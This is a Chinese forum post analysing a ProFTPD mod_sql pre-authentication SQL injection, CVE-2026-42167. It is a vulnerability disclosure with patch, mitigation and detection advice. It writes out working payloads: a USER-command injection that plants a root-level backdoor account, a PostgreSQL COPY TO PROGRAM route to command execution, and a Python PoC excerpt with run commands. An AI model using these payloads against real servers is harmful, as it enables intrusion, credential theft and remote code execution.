找回密码
立即注册
搜索
发回帖 发新帖

6433

积分

1

好友

802

主题
发表于 3 小时前 | 查看: 1| 回复: 0

导语:ZeroPath Research 近日披露 ProFTPD(专业的 FTP 服务器程序) mod_sql 日志管线里的“已转义”启发式缺陷——编号 CVE-2026-42167,CVSS(通用漏洞评分系统) 8.1。攻击者只需发一个 USER 命令,连密码都不用输,就能在 SQL 日志 INSERT 里堆叠任意语句。Shodan 上能看到的 16 万公开实例里,估算至少 1% 是预认证可打的。本文拆这条链,附官方 PoC(概念验证代码)。

一、漏洞一句话

ProFTPD 1.3.9 及以下 + 启用了 mod_sql 日志 + 日志语句用 %U/%f 这类攻击者可控变量 → 预认证 SQL 注入。修复版本:1.3.9a(commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)。

二、根因:is_escaped_text() 这个“自欺欺人”的判定

漏洞点在 contrib/mod_sql.c 的两段紧挨着的代码里。

第一段是判定函数,逻辑就是“看起来像已转义的字符串就跳过转义”:

static int is_escaped_text(const char *text, size_t text_len) {
    if (text[0] != '\'')            return FALSE;
    if (text[text_len-1] != '\'')   return FALSE;
    for (i = 1; i < text_len-1; i++)
        if (text[i] == '\'')        return FALSE;
    return TRUE;
}

第二段是写入处——is_escaped_text() 返回 TRUE 就完全跳过 sql_escapestring():

if (is_escaped_text(text, text_len) == FALSE) {
    /* 这里才会做真正的 SQL 转义 */
} else {
    pr_trace_msg(trace_channel, 17,
        "text '%s' is already escaped, skipping escaping it again", text);
    new_text = (char *)text;   // ← 原样送进 query
    new_textlen = text_len;
}

作者本意是处理“上游已经把值拼成 'foo' 这种形式”的场景,但攻击者只需要自己把值也写成 'xxx' 的形式就能 100% 绕过——这是个纯语法层、可被攻击者伪造的判定。

is_escaped_text() 绕过链路示意图

三、攻击链:FTP USER 名 → SQL INSERT

ProFTPD 默认的 mod_sql 日志配置长这样:

SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        *           log_activity
SQLLog        ERR_*       log_activity

%U 是“原始 USER 名”,认证前就设好了;%r 是完整 FTP 命令;%m 是 FTP 动词。SQLLog ERR_* 的意思是“失败命令触发”——意味着用户登录失败都会触发一次 INSERT。

攻击者只要发:

USER ' || (SELECT 1) ||'

替换进去,原语句变成:

INSERT '' || (SELECT 1) || '', '<完整命令>', '<动词>' INTO activity_log

也就是“插一个空串拼上子查询拼上空串”。判定函数看到首尾是单引号、中间没有单引号,直接放行。

更狠的玩法是堆叠(PostgreSQL/SQLite 支持 ; 分隔的 SQL 语句,MySQL 默认不行):

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'

美元符 $$ 是 PostgreSQL 的美元符引用语法,避免 payload 内部出现单引号。注入后,攻击者直接以 backdoor / pwned123 登录,拿到 uid=0、homedir=/ 的 FTP 访问权——等于直接拥有整个文件系统。

四、实际危害:RCE / 认证绕过 / 凭据提取 / 配额逃逸

ZeroPath 把利用分四个场景,前两个杀伤力最大:

场景 触发条件 影响
认证绕过 + 提权 mod_sql 启用了 SQLAuthenticate users 堆叠 INSERT 后门用户,登录即得全盘
RCE(PostgreSQL 主机) ProFTPD 用 PG 超级用户连库 COPY (SELECT 1) TO PROGRAM 'cmd' 在 DB 主机执行任意命令
凭据盲注 任意能注入的部署 用 pg_sleep() 做时序盲注,把 users 表里明文/哈希密码全抽走
配额逃逸 启用了 mod_quotatab_sql 直接 UPDATE(修改)配额表绕过限制

RCE 的原理是 PostgreSQL 的 COPY TO PROGRAM:把子查询结果交给 shell 命令处理。ZeroPath 在 PoC 里就演示了这一招——PostgreSQL 主机被 ProFTPD DB 角色跑成什么用户,攻击者就拿到什么 shell。

五、PoC:5 个脚本,覆盖预认证/认证后/盲注三种路径

官方 PoC 仓库在 github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc,全部用 Python 标准库,没有第三方依赖:

文件 触发变量 危害 所需权限
pocs/preauth_user_backdoor.py %U(USER 命令) 植入后门用户 仅网络可达
pocs/preauth_user_rce.py %U PG 主机 RCE 仅网络可达 + PG 超级用户
pocs/postauth_stor_backdoor.py %{basename}(STOR 文件名) 植入后门用户 任意 FTP 账号(匿名通杀)
pocs/postauth_stor_rce.py %{basename} PG 主机 RCE 任意 FTP 账号 + PG 超级用户
pocs/postgres_blind_dump.py %U 盲注抽 users 表 仅网络可达 + 最小 INSERT 权限

预认证后门注入的核心代码就这一段(精简自 preauth_user_backdoor.py):

payload = (
    "', null, null); "
    "INSERT INTO users VALUES("
    "$$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$"
    "); --'"
)

# 验证 payload 满足 is_escaped_text() 的判定(首尾单引号、内部无单引号)
assert payload[0] == "'" and payload[-1] == "'" and "'" not in payload[1:-1]

# 发送 USER 命令触发注入;登录肯定失败(密码是乱填的),但 ERR_* 日志会先命中
ftp_cmd(host, port, [f"USER {payload}", "PASS x", "QUIT"])

# 等日志 INSERT 落库后,用植入的用户名+密码正式登录
ftp_cmd(host, port, ["USER backdoor", "PASS pwned123", "PWD", "QUIT"])
# 成功的话 PWD 返回 "/",说明 homedir 是根目录

完整跑法:

git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
cd proftpd-CVE-2026-42167-poc
cd setup
./setup.sh      # 自动起 Docker(ProFTPD + PostgreSQL + 种子数据)
# 跟着脚本打印的提示跑 PoC
uv run --no-project ../pocs/preauth_user_backdoor.py --host 127.0.0.1 --port 2121

setup.sh 会把 ProFTPD 源码拉到本地、用 --with-modules=mod_sql:mod_sql_postgres 编译,再起容器——第一次跑要 2-3 分钟,之后直接秒级复用。

六、修复与缓解

  • 必须升级:1.3.9a(commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)。
  • 临时缓解:关掉 mod_sql 日志(SQLLog 全部注释)。
  • 检测:盯着 ProFTPD 日志里 SQL INSERT 失败/异常的请求;监控 PostgreSQL 的 COPY TO PROGRAM 调用。
  • 审计:所有 mod_sql 依赖的功能(认证、配额、ban 名单)都默认已被污染,复查数据库内容。

七、给红队/蓝队的几点启示

  1. “已转义”启发式是反模式。任何“看起来像 X 就跳过 X”的优化,都会被攻击者伪造。安全判定只能基于真实可信源,而不是值的形状。
  2. 配置依赖型漏洞最难找。这条链要 mod_sql 启用 + 日志启用 + 特定变量组合才会触发,静态分析器很容易漏;ZeroPath 用了 LLM 辅助才把“语义层的意图错误”挖出来。
  3. %U 是认证前的关键 sink(数据汇聚点)。所有 FTP 服务里这种“认证前就解析的输入”都要审计——不只是 ProFTPD,vsftpd、FileZilla Server、Pure-FTPd 都得过一遍。
  4. PoC 用美元符引用避免 payload 内单引号。这是 PostgreSQL payload 的标准技巧,写注入工具的时候直接抄。

官方 PoC 仓库:github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc(5 个 Python 脚本 + Docker 一键环境)

技术原文:ZeroPath Research · CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD

补丁 commit:af90843

CVE 详情:CVE-2026-42167

如果你对这类从认证前输入一路打到数据库、进而影响整个文件系统的漏洞链感兴趣,不妨到 云栈社区 翻一翻更多 Web 安全实战案例。顺便说一句,这类预认证 SQL 注入和后续的盲注、提权利用,如果缺少系统的漏洞挖掘思路,很容易卡在“注入点找到了、但打不深”的阶段;有需要的话,上面的相关课程也可以当作补课入口。




上一篇:Claude Code沙箱逃逸漏洞分析:Git Worktree混淆实现任意代码执行
下一篇:WebSocket 协议漏洞解析:握手流程与八大致命风险
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-10-6 22:53 , Processed in 0.094333 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表